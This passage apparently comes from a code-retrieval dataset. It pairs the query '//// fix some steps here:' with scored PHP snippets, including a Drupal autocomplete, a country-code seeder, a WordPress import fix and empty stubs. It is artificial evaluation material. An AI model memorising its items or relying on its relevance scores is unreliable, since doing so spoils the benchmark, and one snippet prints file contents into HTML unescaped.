$parents = (isset($_GET['parents']) && !empty($_GET['parents'])) ? $_GET['parents'] : array();\n // Get the list of suggestions from service.\n $suggestions = culturefeed_search_get_city_suggestions($search_string, $include_regions, $parents);\n foreach ($suggestions as $key => $suggestion) {\n $matches[] = (object) array('value' => $key, 'label' => check_plain($suggestion));\n }\n\n }\n\n drupal_json_output($matches);\n\n}", "title": "" }, { "docid": "f61fe6ef9dcdb9189033cf63f679a1ac", "score": "0.5011143", "text": "function culturefeed_search_ui_city_suggestion_autocomplete_page($search_string, $include_regions = TRUE) {\n\n $matches = array();\n\n if ($search_string) {\n\n $parents = (isset($_GET['parents']) && !empty($_GET['parents'])) ? $_GET['parents'] : array();\n // Get the list of suggestions from service.\n $suggestions = culturefeed_search_get_city_suggestions($search_string, $include_regions, $parents);\n foreach ($suggestions as $key => $suggestion) {\n $matches[] = (object) array('value' => $key, 'label' => check_plain($suggestion));\n }\n\n }\n\n drupal_json_output($matches);\n\n}", "title": "" }, { "docid": "8e148dd77d66fb51a2c18338bedab99c", "score": "0.5007752", "text": "public function run()\n {\n\n $alpha_codes = [\n ['Австралия', 'AUS', 36],\n ['Австрия', 'AUT', 40],\n ['Азербайджан', 'AZE', 31],\n ['Аландскиеострова', 'ALA', 248],\n ['Албания', 'ALB', 8],\n ['Алжир', 'DZA', 12],\n ['ВиргинскиеОстрова(США)', 'VIR', 850],\n ['АмериканскоеСамоа', 'ASM', 16],\n ['Ангилья', 'AIA', 660],\n ['Ангола', 'AGO', 24],\n ['Андорра', 'AND', 20],\n ['Антарктика', 'ATA', 10],\n ['АнтигуаиБарбуда', 'ATG', 28],\n ['Аргентина', 'ARG', 32],\n ['Армения', 'ARM', 51],\n ['Аруба', 'ABW', 533],\n ['Афганистан', 'AFG', 4],\n ['БагамскиеОстрова', 'BHS', 44],\n ['Бангладеш', 'BGD', 50],\n ['Барбадос', 'BRB', 52],\n ['Бахрейн', 'BHR', 48],\n ['Белиз', 'BLZ', 84],\n ['Белоруссия', 'BLR', 112],\n ['Бельгия', 'BEL', 56],\n ['Бенин', 'BEN', 204],\n ['Бермуды', 'BMU', 60],\n ['Болгария', 'BGR', 100],\n ['Боливия', 'BOL', 68],\n ['Бонэйр,Синт-ЭстатиусиСаба', 'BES', 535],\n ['БоснияиГерцеговина', 'BIH', 70],\n ['Ботсвана', 'BWA', 72],\n ['Бразилия', 'BRA', 76],\n ['БританскаятерриториявИндийскомокеане', 'IOT', 86],\n ['ВиргинскиеОстрова(Великобритания)', 'VGB', 92],\n ['Бруней', 'BRN', 96],\n ['Буркина-Фасо', 'BFA', 854],\n ['Бурунди', 'BDI', 108],\n ['Бутан', 'BTN', 64],\n ['Вануату', 'VUT', 548],\n ['Ватикан', 'VAT', 336],\n ['Великобритания', 'GBR', 826],\n ['Венгрия', 'HUN', 348],\n ['Венесуэла', 'VEN', 862],\n ['ВнешниемалыеостроваСША', 'UMI', 581],\n ['ВосточныйТимор', 'TLS', 626],\n ['Вьетнам', 'VNM', 704],\n ['Габон', 'GAB', 266],\n ['Гаити', 'HTI', 332],\n ['Гайана', 'GUY', 328],\n ['Гамбия', 'GMB', 270],\n ['Гана', 'GHA', 288],\n ['Гваделупа', 'GLP', 312],\n ['Гватемала', 'GTM', 320],\n ['Гвиана', 'GUF', 254],\n ['Гвинея', 'GIN', 324],\n ['Гвинея-Бисау', 'GNB', 624],\n ['Германия', 'DEU', 276],\n ['Гернси', 'GGY', 831],\n ['Гибралтар', 'GIB', 292],\n ['Гондурас', 'HND', 340],\n ['Гонконг', 'HKG', 344],\n ['Гренада', 'GRD', 308],\n ['Гренландия', 'GRL', 304],\n ['Греция', 'GRC', 300],\n ['Грузия', 'GEO', 268],\n ['Гуам', 'GUM', 316],\n ['Дания', 'DNK', 208],\n ['Джерси', 'JEY', 832],\n ['Джибути', 'DJI', 262],\n ['Доминика', 'DMA', 212],\n ['ДоминиканскаяРеспублика', 'DOM', 214],\n ['ДРКонго', 'COD', 180],\n ['Египет', 'EGY', 818],\n ['Замбия', 'ZMB', 894],\n ['САДР', 'ESH', 732],\n ['Зимбабве', 'ZWE', 716],\n ['Израиль', 'ISR', 376],\n ['Индия', 'IND', 356],\n ['Индонезия', 'IDN', 360],\n ['Иордания', 'JOR', 400],\n ['Ирак', 'IRQ', 368],\n ['Иран', 'IRN', 364],\n ['Ирландия', 'IRL', 372],\n ['Исландия', 'ISL', 352],\n ['Испания', 'ESP', 724],\n ['Италия', 'ITA', 380],\n ['Йемен', 'YEM', 887],\n ['Кабо-Верде', 'CPV', 132],\n ['Казахстан', 'KAZ', 398],\n ['ОстроваКайман', 'CYM', 136],\n ['Камбоджа', 'KHM', 116],\n ['Камерун', 'CMR', 120],\n ['Канада', 'CAN', 124],\n ['Катар', 'QAT', 634],\n ['Кения', 'KEN', 404],\n ['Кипр', 'CYP', 196],\n ['Киргизия', 'KGZ', 417],\n ['Кирибати', 'KIR', 296],\n ['КитайскаяРеспублика(Тайвань)', 'TWN', 158],\n ['КНДР (КорейскаяНародно-ДемократическаяРеспублика)', 'PRK', 408],\n ['Китай (КитайскаяНароднаяРеспублика)', 'CHN', 156],\n ['Кокосовыеострова', 'CCK', 166],\n ['Колумбия', 'COL', 170],\n ['Коморы', 'COM', 174],\n ['Коста-Рика', 'CRI', 188],\n ['Кот-д’Ивуар', 'CIV', 384],\n ['Куба', 'CUB', 192],\n ['Кувейт', 'KWT', 414],\n ['Кюрасао', 'CUW', 531],\n ['Лаос', 'LAO', 418],\n ['Латвия', 'LVA', 428],\n ['Лесото', 'LSO', 426],\n ['Либерия', 'LBR', 430],\n ['Ливан', 'LBN', 422],\n ['Ливия', 'LBY', 434],\n ['Литва', 'LTU', 440],\n ['Лихтенштейн', 'LIE', 438],\n ['Люксембург', 'LUX', 442],\n ['Маврикий', 'MUS', 480],\n ['Мавритания', 'MRT', 478],\n ['Мадагаскар', 'MDG', 450],\n ['Майотта', 'MYT', 175],\n ['Макао', 'MAC', 446],\n ['СевернаяМакедония', 'MKD', 807],\n ['Малави', 'MWI', 454],\n ['Малайзия', 'MYS', 458],\n ['Мали', 'MLI', 466],\n ['Мальдивы', 'MDV', 462],\n ['Мальта', 'MLT', 470],\n ['Марокко', 'MAR', 504],\n ['Мартиника', 'MTQ', 474],\n ['МаршалловыОстрова', 'MHL', 584],\n ['Мексика', 'MEX', 484],\n ['Микронезия', 'FSM', 583],\n ['Мозамбик', 'MOZ', 508],\n ['Молдавия', 'MDA', 498],\n ['Монако', 'MCO', 492],\n ['Монголия', 'MNG', 496],\n ['Монтсеррат', 'MSR', 500],\n ['Мьянма', 'MMR', 104],\n ['Намибия', 'NAM', 516],\n ['Науру', 'NRU', 520],\n ['Непал', 'NPL', 524],\n ['Нигер', 'NER', 562],\n ['Нигерия', 'NGA', 566],\n ['Нидерланды', 'NLD', 528],\n ['Никарагуа', 'NIC', 558],\n ['Ниуэ', 'NIU', 570],\n ['НоваяЗеландия', 'NZL', 554],\n ['НоваяКаледония', 'NCL', 540],\n ['Норвегия', 'NOR', 578],\n ['ОАЭ', 'ARE', 784],\n ['Оман', 'OMN', 512],\n ['ОстровБуве', 'BVT', 74],\n ['ОстровМэн', 'IMN', 833],\n ['ОстроваКука', 'COK', 184],\n ['ОстровНорфолк', 'NFK', 574],\n ['ОстровРождества', 'CXR', 162],\n ['ОстроваПиткэрн', 'PCN', 612],\n ['ОстроваСвятойЕлены,ВознесенияиТристан-да-Кунья', 'SHN', 654],\n ['Пакистан', 'PAK', 586],\n ['Палау', 'PLW', 585],\n ['ГосударствоПалестина', 'PSE', 275],\n ['Панама', 'PAN', 591],\n ['Папуа—НоваяГвинея', 'PNG', 598],\n ['Парагвай', 'PRY', 600],\n ['Перу', 'PER', 604],\n ['Польша', 'POL', 616],\n ['Португалия', 'PRT', 620],\n ['Пуэрто-Рико', 'PRI', 630],\n ['РеспубликаКонго', 'COG', 178],\n ['РеспубликаКорея', 'KOR', 410],\n ['Реюньон', 'REU', 638],\n ['Россия', 'RUS', 643],\n ['Руанда', 'RWA', 646],\n ['Румыния', 'ROU', 642],\n ['Сальвадор', 'SLV', 222],\n ['Самоа', 'WSM', 882],\n ['Сан-Марино', 'SMR', 674],\n ['Сан-ТомеиПринсипи', 'STP', 678],\n ['СаудовскаяАравия', 'SAU', 682],\n ['Эсватини', 'SWZ', 748],\n ['СеверныеМарианскиеОстрова', 'MNP', 580],\n ['СейшельскиеОстрова', 'SYC', 690],\n ['Сен-Бартелеми(Карибы)', 'BLM', 652],\n ['Сен-Мартен', 'MAF', 663],\n ['Сен-ПьериМикелон', 'SPM', 666],\n ['Сенегал', 'SEN', 686],\n ['Сент-ВинсентиГренадины', 'VCT', 670],\n ['Сент-КитсиНевис', 'KNA', 659],\n ['Сент-Люсия', 'LCA', 662],\n ['Сербия', 'SRB', 688],\n ['Сингапур', 'SGP', 702],\n ['Синт-Мартен', 'SXM', 534],\n ['Сирия', 'SYR', 760],\n ['Словакия', 'SVK', 703],\n ['Словения', 'SVN', 705],\n ['СоломоновыОстрова', 'SLB', 90],\n ['Сомали', 'SOM', 706],\n ['Судан', 'SDN', 729],\n ['Суринам', 'SUR', 740],\n ['США', 'USA', 840],\n ['Сьерра-Леоне', 'SLE', 694],\n ['Таджикистан', 'TJK', 762],\n ['Таиланд', 'THA', 764],\n ['Танзания', 'TZA', 834],\n ['ТерксиКайкос', 'TCA', 796],\n ['Того', 'TGO', 768],\n ['Токелау', 'TKL', 772],\n ['Тонга', 'TON', 776],\n ['ТринидадиТобаго', 'TTO', 780],\n ['Тувалу', 'TUV', 798],\n ['Тунис', 'TUN', 788],\n ['Туркмения', 'TKM', 795],\n ['Турция', 'TUR', 792],\n ['Уганда', 'UGA', 800],\n ['Узбекистан', 'UZB', 860],\n ['Украина', 'UKR', 804],\n ['УоллисиФутуна', 'WLF', 876],\n ['Уругвай', 'URY', 858],\n ['Фарерскиеострова', 'FRO', 234],\n ['Фиджи', 'FJI', 242],\n ['Филиппины', 'PHL', 608],\n ['Финляндия', 'FIN', 246],\n ['Фолклендскиеострова', 'FLK', 238],\n ['Франция', 'FRA', 250],\n ['ФранцузскаяПолинезия', 'PYF', 258],\n ['ФранцузскиеЮжныеиАнтарктическиетерритории', 'ATF', 260],\n ['ХердиМакдональд', 'HMD', 334],\n ['Хорватия', 'HRV', 191],\n ['ЦАР', 'CAF', 140],\n ['Чад', 'TCD', 148],\n ['Черногория', 'MNE', 499],\n ['Чехия', 'CZE', 203],\n ['Чили', 'CHL', 152],\n ['Швейцария', 'CHE', 756],\n ['Швеция', 'SWE', 752],\n ['ШпицбергениЯн-Майен', 'SJM', 744],\n ['Шри-Ланка', 'LKA', 144],\n ['Эквадор', 'ECU', 218],\n ['ЭкваториальнаяГвинея', 'GNQ', 226],\n ['Эритрея', 'ERI', 232],\n ['Эстония', 'EST', 233],\n ['Эфиопия', 'ETH', 231],\n ['ЮАР', 'ZAF', 710],\n ['ЮжнаяГеоргияиЮжныеСандвичевыОстрова', 'SGS', 239],\n ['ЮжныйСудан', 'SSD', 728],\n ['Ямайка', 'JAM', 388],\n ['Япония', 'JPN', 392],\n ];\n\n foreach ($alpha_codes as $value) {\n $country = Country::firstWhere('code', $value[2]);\n if ($country) {\n $country->alpha_code = $value[1];\n $country->update();\n }\n }\n }", "title": "" }, { "docid": "723b30a2d672eb64b3aa388a98ce5f41", "score": "0.49987954", "text": "public static function listAbbreviations(){}", "title": "" }, { "docid": "7a70761a669dfb85045149df8bfe72e2", "score": "0.4995588", "text": "public function data_editor(){ }", "title": "" }, { "docid": "0ed8281622bdd7f65c00df90b6e3e4fc", "score": "0.49954927", "text": "function upper($course){ //($courses,$key) para usar el key\n echo strtoupper(\"$course <br>\");\n}", "title": "" }, { "docid": "aa87e8f1f16f280a4211d0e99f6b52dc", "score": "0.49911895", "text": "function suggest(){\n\t\t$f_contents = file(\"../txt/users.txt\");\t\t\t\t\t// Get file to array\n\t\t$line = $f_contents[rand(0, count($f_contents) - 1)];\t// Get random 'line'\n\t\t$line = substr_replace($line, \"\", -2);\t\t\t\t\t// Remove last character (trailing space)\n\t\t$out = \"<br /><br /><div class='suggest sml'>&nbsp;&nbsp;Why don't you try: <strong><u><span class='cur loadSuggest' onclick='showSpin(); saveLast(); getBase(&#34;\".$line.\"&#34;)' title='Load \".$line.\"'>\".$line.\"</span></u></strong> <span class='trySpin novis'><i class='fa fa-refresh fa-spin'></i></span></div><br><br><br>\";\n\t\techo $out;\n\t}", "title": "" }, { "docid": "32290f76cd87e9be741135ed72ca3f77", "score": "0.49886027", "text": "function description(){}", "title": "" }, { "docid": "0cc2de91a2f547a5a33788953fd49b60", "score": "0.49877325", "text": "public function generateCode() {\n\n\t}", "title": "" }, { "docid": "9e1644f8025cbf02ccf32320dffc935d", "score": "0.49854633", "text": "protected function __autoCompletePath($arg){\n\t\tif(substr($arg, -1) !== '/' ){\n\t\t\treturn $arg .= '/';\n\t\t}\n\t\telse{\n\t\t\treturn $arg;\n\t\t}\n\t}", "title": "" } ]
fae8a2fe1eae433e3c30e3514a4a944f
//// fix some steps here:
[ { "docid": "68a54e08a133b9c18ee98b2f082907d0", "score": "0.0", "text": "public function clickLink($link)\n\t{\n\t\tparent::clickLink($link);\n\t\tsleep(1); // wait for asynchronous load\n\t}", "title": "" } ]
[ { "docid": "17a81da43ec8b6dba44027fd25f2f452", "score": "0.68244106", "text": "private function fixInconsistencies() {\n }", "title": "" }, { "docid": "9d69444143b5ad777ee6a2a39b44db39", "score": "0.59241414", "text": "public function testIssue193() {}", "title": "" }, { "docid": "9d69444143b5ad777ee6a2a39b44db39", "score": "0.59241414", "text": "public function testIssue193() {}", "title": "" }, { "docid": "edefa82fd7f04de26d685badb8fc8118", "score": "0.57230985", "text": "public function fix(){\n\t\t$this->printMe();\n\t}", "title": "" }, { "docid": "3e37382db669376cb3208b50114b233d", "score": "0.5682992", "text": "private function prepareInfosJeu()\n\t{\n\t}", "title": "" }, { "docid": "c9ab2630e8347834985900a6b927ce3a", "score": "0.56524605", "text": "public function refactor();", "title": "" }, { "docid": "d1e7a8a2b9538395b8e51f749ccaa797", "score": "0.5613488", "text": "private function finalSetup()\r\n {\r\n }", "title": "" }, { "docid": "0f6ceeebdd061e6a54999836fd0a0a86", "score": "0.5518065", "text": "protected function _preGenerate()\n {\n }", "title": "" }, { "docid": "2445d9c662b45206de1a689e6ba535a2", "score": "0.5509512", "text": "public function livraison()\n {\n // TODO\n }", "title": "" }, { "docid": "0e19044643ea4f33c2d7986b7dfbda4c", "score": "0.548602", "text": "protected function _postGenerate()\n {\n }", "title": "" }, { "docid": "9d23b793c460954ad744bba6a9ed0333", "score": "0.5482767", "text": "protected function before() {}", "title": "" }, { "docid": "09dbe96464fd6a693ebd6630f64a174a", "score": "0.54642636", "text": "protected function setup() {}", "title": "" }, { "docid": "09dbe96464fd6a693ebd6630f64a174a", "score": "0.54642636", "text": "protected function setup() {}", "title": "" }, { "docid": "4296f3a714e66415bd35a82a074529e9", "score": "0.5455185", "text": "protected function transform_data()\r\n\t{\r\n\r\n\t}", "title": "" }, { "docid": "434b05561e72fac8551772a12880a649", "score": "0.5411264", "text": "private function __construct() {/* intentionally left blank */}", "title": "" }, { "docid": "32933d38dafa919b1d123ff82ccd3411", "score": "0.53938425", "text": "protected function pre_init()\n {\n return;\n }", "title": "" }, { "docid": "3e1acba57213796715568c83d46afdd6", "score": "0.5369132", "text": "function post_papoo()\n\t{\n\t}", "title": "" }, { "docid": "b4bdc2910d401897e5a93fbc9fb31ff4", "score": "0.5366505", "text": "public function custom_preparation(){\n }", "title": "" }, { "docid": "9eaa75e0557acae83305ab53f1ff0b49", "score": "0.53578585", "text": "protected function accion()\n\t{\n\t}", "title": "" }, { "docid": "846ebe10cb9053cc11a5f2c4811e02a7", "score": "0.5351292", "text": "private function rebuild()\n {\n\n\n }", "title": "" }, { "docid": "1b3f43acb087f6d19c6177516618be50", "score": "0.5341955", "text": "protected function setup()\n \t{\n \t}", "title": "" }, { "docid": "ad0539b0dff6f421edc5e3dfe742a2dc", "score": "0.5335101", "text": "public function repair();", "title": "" }, { "docid": "a9381734ce5a55e45507e7cebc99a8d4", "score": "0.53295135", "text": "function _fixoptions() {\n\t\tif ($this->struct_yes) {\n\t//\t\t$this->data_yes = false;\n\t\t\t$this->usedroptable = true;\n\t\t\t$this->usetruncatetable = false;\n\t\t}\n\n\t\tif ($this->data_yes) {\n\t//\t\t$this->struct_yes = false;\n\t\t\t$this->usedroptable = false;\n\t\t\t$this->usetruncatetable = true;\n\t\t}\n\t}", "title": "" }, { "docid": "82b2fec70d74bb46c033845355f283e5", "score": "0.5316279", "text": "private function __() {\n }", "title": "" }, { "docid": "82b2fec70d74bb46c033845355f283e5", "score": "0.5316279", "text": "private function __() {\n }", "title": "" }, { "docid": "adf8c957fb76d4a57254134b82e575d1", "score": "0.53152895", "text": "protected function post_init()\n {\n return;\n }", "title": "" }, { "docid": "996e08e6bec21bff6c56ad29265e4341", "score": "0.5279905", "text": "protected function _run()\n\t{\n\t}", "title": "" }, { "docid": "0b4f41bf22e928fc8b4c583ad9b286c2", "score": "0.52369225", "text": "protected function _update() {\n\t}", "title": "" }, { "docid": "e4777e8430ff3d30b7ccb48d82aed57b", "score": "0.5233789", "text": "protected function main()\n\t{\n\n\t}", "title": "" }, { "docid": "fbfac752ab4d377857ef5c227d5c174d", "score": "0.5230038", "text": "private function forward_product_failed(){\n\t\t\n\t}", "title": "" }, { "docid": "370f4c5664f161bcc31ad6273c8c499a", "score": "0.5223844", "text": "abstract protected function setup();", "title": "" }, { "docid": "6cb9b34a85f62885ee6dc6eecf349665", "score": "0.520158", "text": "protected function postMod()\n {\n }", "title": "" }, { "docid": "ee4f75d50d3a0b33cd5043c5a3d3bf3c", "score": "0.518095", "text": "function pre_step_3()\n { $this->debug = array();\n /* use new_DH_multiple_match_fixed.txt\n step: fill-up blank canonical using gnparser\n gnparser file -f json-compact --input step3_scinames.txt --output step3_gnparsed.txt\n gnparser name -f simple 'Tricornina (Bicornina) jordan, 1964'\n gnparser name -f simple 'Ceroputo pilosellae Šulc, 1898'\n gnparser name -f simple 'The Myxobacteria'\n */\n // /* main operations OK\n self::generate_canonicals_to_text_files('old_DH_after_step2');\n self::fill_old_DH_with_blank_canonical('old_DH_after_step2');\n \n $this->retired_old_DH_taxonID = array();\n unset($this->retired_old_DH_taxonID);\n self::retire_old_DH_with_these_taxonIDs(\"old_DH_gnparsed_tbl\", $this->main_path.\"/old_DH_gnparsed.txt\");\n // */\n }", "title": "" }, { "docid": "eec45645ebd6af20108dec68c70341c0", "score": "0.5165591", "text": "function setup(){\n\t\t_doing_it_wrong( __METHOD__, 'Deprecated. Noop/no-op. This function will be removed in v1.0', '0.14' );\n\t}", "title": "" }, { "docid": "25b5fb3324705ce8dca0b468d28a24cf", "score": "0.5151277", "text": "protected function preGenerate()\n {\n }", "title": "" }, { "docid": "d1674184deaee21f5e43e31cd30aaf5b", "score": "0.51498926", "text": "function fixingTemplavoila() {\n\n\t\t$GLOBALS['TYPO3_DB']->sql_query('SET NAMES latin1');\n\n\t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery('*','tx_templavoila_tmplobj','uid = 40','','');\n\n\t\t$row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res);\n\n\t\t$map = unserialize($row['templatemapping']);\n\n\t\t$map = $this->arrayUtf8Encode($map);\n\n\t\t$GLOBALS['TYPO3_DB']->sql_query('SET NAMES utf8');\n\n\t\t$data = array(\n\t\t\t'templatemapping' => serialize($map),\n\t\t);\n\n\t\t$GLOBALS['TYPO3_DB']->exec_UPDATEquery('tx_templavoila_tmplobj', 'uid = '.$row['uid'], $data);\n\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "4dd1f9fb91dd75ad99b67dddbb661f2f", "score": "0.5123186", "text": "protected function _afterLoad() {}", "title": "" }, { "docid": "6ac929efdc58b8ab180ac44269b88cf3", "score": "0.5115994", "text": "function broken() { return TRUE; }", "title": "" }, { "docid": "0669cadd4f50bbf207967c4ed9b8047f", "score": "0.51052177", "text": "protected function __post_construct()\n {\n\n }", "title": "" }, { "docid": "6011e4e3e1e9794a6b81054491d26ecf", "score": "0.5096419", "text": "protected function _before() {\n\n\t}", "title": "" }, { "docid": "9bf7e4c3149f8f97253ed6651e0d3ddb", "score": "0.50791997", "text": "private function following() {\n }", "title": "" }, { "docid": "bd1eb215191232548b266acaf734ab12", "score": "0.50746644", "text": "private function __()\n {\n }", "title": "" }, { "docid": "2a01194d5a7a8ccf815255e15919a7df", "score": "0.5065154", "text": "function _pre() {\n\n\t}", "title": "" }, { "docid": "1779aa054fc5d15006c2f856775977bb", "score": "0.50609106", "text": "protected function __post_dispatch()\n {\n\n }", "title": "" }, { "docid": "fa595460fafda1849c4905db67f81b47", "score": "0.50479", "text": "abstract protected function optimizing();", "title": "" }, { "docid": "13a3d47e39288c70896a904a33470bc1", "score": "0.5046219", "text": "protected function _afterUpdate()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "a9529bf61c0d1748daf12c9c7ed79baa", "score": "0.5037301", "text": "function updatePreProcess ()\n {\n // empty function, should be implemented by child classes\n }", "title": "" }, { "docid": "8289f825b45bc25ec5b8f63a84fdd730", "score": "0.50360906", "text": "protected function setup() {\n\n\t}", "title": "" }, { "docid": "0028fcea956d878844ef42fa75b7b015", "score": "0.503508", "text": "public function preProcess() {\n }", "title": "" }, { "docid": "841afff9ed5a99f6a681a1c70a23a00c", "score": "0.50338453", "text": "abstract protected function _execInternalMethods();", "title": "" }, { "docid": "4b273063f6e4d865e552b8f07a4623c8", "score": "0.50302124", "text": "protected function _init()\n {\n }", "title": "" }, { "docid": "b2040a6c7ba33f53a0a674d1ae247873", "score": "0.5028482", "text": "public function init()\n {\n // jeo - DO NOT ADD THINGS HERE: You should be overriding them in your implementation. \n }", "title": "" }, { "docid": "78b0e4f77f68c5aec776f1a039c9e784", "score": "0.5028412", "text": "private function whatsNeededForAll(){\n\n }", "title": "" }, { "docid": "3bc2b799e71a2341d3acfcd0b636dd82", "score": "0.5024192", "text": "abstract protected function _reset();", "title": "" }, { "docid": "3bc2b799e71a2341d3acfcd0b636dd82", "score": "0.5024192", "text": "abstract protected function _reset();", "title": "" }, { "docid": "907fffafb82f7c4c4b449d034d7e8a81", "score": "0.50236756", "text": "public function testDoPatchPrecheck()\n {\n\n }", "title": "" }, { "docid": "50b2c9443bc02164f01da873efa7d13f", "score": "0.5022497", "text": "protected function _init()\r\n {\r\n }", "title": "" }, { "docid": "8e351ba2e97dd6faba3544c1e8e1198b", "score": "0.50166917", "text": "abstract protected function _process();", "title": "" }, { "docid": "82803de508ef4b73592d23666e9566b0", "score": "0.501164", "text": "protected function _beforeUpdate()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "cfb8ab8df55aa1e7c6fb31610e4ccbaf", "score": "0.49985132", "text": "abstract public function prepSuccessful();", "title": "" }, { "docid": "0dc08cc465cba676cf07a210158cb8b4", "score": "0.49980617", "text": "private function pre_action()\n\t{\n\n\t}", "title": "" }, { "docid": "13f00036c28383f4e0b846fd3daa874e", "score": "0.49921", "text": "public function imprimir () {\n }", "title": "" }, { "docid": "2e4ef7465479fb8f84de138036c9f1a3", "score": "0.49897823", "text": "public static function reflash() {\n \n }", "title": "" }, { "docid": "68c9b5cbc095256ee3a6bab0680bb995", "score": "0.49840537", "text": "function start_tram_795()\n {\n /* test\n $taxID_info = self::get_taxID_nodes_info();\n // $ancestry = self::get_ancestry_of_taxID(984211, $taxID_info); print_r($ancestry); print_r($taxID_info[984211]);\n // $ancestry = self::get_ancestry_of_taxID(1173450, $taxID_info); print_r($ancestry); print_r($taxID_info[1173450]);\n $ancestry = self::get_ancestry_of_taxID(9900, $taxID_info); print_r($ancestry); print_r($taxID_info[9900]);\n exit(\"\\n-end tests-\\n\");\n */\n /* test\n $removed_branches = self::get_removed_branches_from_spreadsheet(); print_r($removed_branches);\n exit(\"\\n-end tests-\\n\");\n */\n /*\n self::browse_citations();\n exit(\"\\n-end tests-\\n\");\n */\n self::main_tram_795(); //exit(\"\\nstop muna\\n\");\n $this->archive_builder->finalize(TRUE);\n if($this->debug) {\n Functions::start_print_debug($this->debug, $this->resource_id);\n }\n }", "title": "" }, { "docid": "1503c16ac6ab5d9660e375b39d26e236", "score": "0.49819663", "text": "protected function __pre_dispatch()\n {\n }", "title": "" }, { "docid": "8c88ff4b9eecd56fbd02cc0e1f1baf62", "score": "0.49780583", "text": "protected function _after() {\n\n\t}", "title": "" }, { "docid": "14fbe0420a9c4a87327c7ddcf0dbb0ec", "score": "0.49716222", "text": "function cleanupPreviousVersions()\n\t{\n\t\t$this->db->where(array('registry_object_id'=>$this->ro->id));\n\t\t$this->db->update('record_data', array('current'=>DB_FALSE));\n\n\t\t$this->pruneExtrif();\n\t}", "title": "" }, { "docid": "90a5906da32d4653985a99bbf9f1ccac", "score": "0.4966617", "text": "private function fixes(){\n //date_default_timezone_set('America/New_York');\n \n }", "title": "" }, { "docid": "a86b3ca2e3b1dd72adf9c2bb9c0426b1", "score": "0.49567485", "text": "function mnml_import_post_meta_fix( $postmeta, $post_id, $post ) {\n\t\t$find = 'http://demo.themes1.com/wp/Mnml/wp-content/uploads'; // Search url\n\t\t$upload_dir = wp_upload_dir(); // Replace URL\n\t\t$replace = $upload_dir['baseurl']; // upload url of the local site.\n\t\n\t\t// Watch out for newlines inside of serialized data when importing from XML, they will break the import.\n\t\t// I've found that the XML leaves a discrepancy of how many chars are in the serialized string. I add 1 extra for each line break.\n\t\t$find2 = \"\\n\"; // look for newline\n\t\t$replace2 = \"\\n \"; // replace newline + 1 extra char (Hack you say? Yes I am aware.)\n\t\n\t\t// Multidimensional array loop\n\t\tforeach ($postmeta as $key => $value){\n\t\t\tforeach ($value as $sub_key => $sub_value){\n\t\n\t\t\t\t// If this is serialized data we need to unserialize to find / replace.\n\t\t\t\tif (is_serialized($sub_value)){\n\t\t\t\t\t$reserialize = true;\n\t\t\t\t\t$sub_value = str_replace($find2, $replace2, $sub_value); // Clean up\n\n\t\t\t\t\t\t$sub_value = unserialize($sub_value); // unserialize\n\n\t\t\t\t}else{\n\t\t\t\t\t$reserialize = false;\n\t\t\t\t}\n\t\n\t\t\t\t$sub_value = str_replace($find, $replace, $sub_value); // Find / replace value 1\n\t\n\t\t\t\tif(is_array($sub_value)){ // We may nned to go even deeper...\n\t\n\t\t\t\t\tforeach ($sub_value as $sub_sub_key => $sub_sub_value){ \n\t\n\t\t\t\t\t\t$sub_value[$sub_sub_key] = str_replace($find, $replace, $sub_sub_value); // Find and replace value 1\n\t\t\t\t\t\t$sub_value[$sub_sub_key] = str_replace($find2, $replace2, $sub_value[$sub_sub_key]); // Find and replace value 2\n\t\n\t\t\t\t\t\tif(is_array($sub_sub_value)){ // We may nned to go even DEEPER..!\n\t\t\t\t\t\t\tforeach ($sub_sub_value as $sub_sub_sub_key => $sub_sub_sub_value){\n\t\n\t\t\t\t\t\t\t\t$sub_value[$sub_sub_key][$sub_sub_sub_key] = str_replace($find, $replace, $sub_sub_sub_value); // Find and replace value 1\n\t\t\t\t\t\t\t\t$sub_value[$sub_sub_key][$sub_sub_sub_key] = str_replace($find2, $replace2, $sub_value[$sub_sub_key][$sub_sub_sub_key]); // Find and replace value 2\n\t\n\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} \n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t// If we unserialized then serialize back up again.\n\t\t\t\tif($reserialize){\n\t\t\t\t\t$value[$sub_key] = serialize($sub_value);\n\t\t\t\t}else{\n\t\t\t\t\t$value[$sub_key] = $sub_value;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$postmeta[$key] = $value;\n\t\t}\n\t\n\t\treturn $postmeta;\n\t}", "title": "" }, { "docid": "5f41ee671e3fc4a631d939a62a949747", "score": "0.49558705", "text": "function opts_fix(&$opts)\n\t{\n\t}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "faf4a7d6149456e7e7453474cd1d0838", "score": "0.49493963", "text": "protected function init() {}", "title": "" }, { "docid": "c6add24cff19ac1f0fb7d20b6fc2ea72", "score": "0.49452335", "text": "protected function _after() {\n\t}", "title": "" }, { "docid": "c94a4e0cc5a4b4aed7abcecd37bc40f4", "score": "0.49451178", "text": "abstract function locomover();", "title": "" }, { "docid": "21366960df720449d767b7931c182574", "score": "0.49433333", "text": "function _pre() {}", "title": "" }, { "docid": "3a73ea06a6e077d0057c337b0ff7cdef", "score": "0.49431878", "text": "public function testGenerateUng()\n {\n }", "title": "" }, { "docid": "f81499094c8b689f489e3495a0fdee29", "score": "0.49406993", "text": "private function check(){\n \n \n }", "title": "" }, { "docid": "10c9381e0981d5217044a5c99643bc50", "score": "0.4940474", "text": "function rebuild() {\n\t\t}", "title": "" }, { "docid": "6e6d81d42dcca576788a2af75903fd4d", "score": "0.4940155", "text": "public function setup()\n\t{\t\n\t}", "title": "" }, { "docid": "60a36be1807198ce47a3cf5c6db4ff34", "score": 